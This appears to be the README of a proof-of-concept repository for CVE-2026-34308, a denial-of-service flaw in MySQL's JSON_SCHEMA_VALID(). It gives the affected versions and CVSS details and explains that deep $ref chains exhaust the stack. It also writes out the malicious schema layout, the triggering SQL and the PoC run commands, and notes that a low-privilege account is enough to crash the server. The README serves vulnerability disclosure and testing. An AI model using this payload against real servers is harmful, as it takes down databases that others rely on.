joakimbulow/cve-2026-34308Proof-of-concept for CVE-2026-34308, a MySQL Server JSON component denial-of-service vulnerability. Demonstrates stack exhaustion via deep $ref chains in JSON_SCHEMA_VALID(), causing server crash. Includes Python PoC script and technical analysis.
Official vendor bulletin: Oracle Critical Patch Update Advisory — April 2026.
Vulnerability in Oracle MySQL Server (component: Server: JSON).
Supported affected versions: 8.0.0–8.0.45, 8.4.0–8.4.8, and 9.0.0–9.6.0.
The vulnerability allows a low-privileged user to crash the MySQL Server.
CVSS 3.1 Base Score: 6.5 (Availability impacts only)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Observed mechanism: Deep recursion while MySQL evaluates JSON_SCHEMA_VALID() against a JSON Schema that contains a long linear chain of $ref pointers, without an effective depth cap during schema compilation/validation—leading to stack exhaustion and a hang or repeatable crash.
Call chain (conceptual):
Client SQL → JSON_SCHEMA_VALID(schema, instance)
→ internal JSON schema validation → repeated $ref resolution
→ stack exhaustion → hang / crash
For this PoC, any authenticated MySQL account is enough: grant only USAGE on *.* (MySQL’s minimal privilege—ability to connect—without SELECT, table access, or admin roles). If the user can open a session and run SELECT JSON_SCHEMA_VALID(...), they can trigger the condition.
poc_schema_dos.pyBuilds a JSON schema with a linear $ref chain (example depth 1200):
{
"$ref": "#/definitions/l0",
"definitions": {
"l0": {"$ref": "#/definitions/l1"},
"l1": {"$ref": "#/definitions/l2"},
...
"l1200": {"type": "string"}
}
}
Sent to MySQL as: SELECT JSON_SCHEMA_VALID('<schema>', '"x"');
In testing against vulnerable builds, this has been observed to crash the server within about one second (exact timing depends on hardware, build flags, and schema depth).
python3 poc_schema_dos.py --host 127.0.0.1 --port 3306 --user root --password ""
To test a low-privilege account:
CREATE USER 'test'@'%' IDENTIFIED BY 'password';
GRANT USAGE ON *.* TO 'test'@'%';
FLUSH PRIVILEGES;
Then: python3 poc_schema_dos.py --user test --password password
6.5 — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
poc_schema_dos.py: Proof-of-concept scriptREADME.md: This file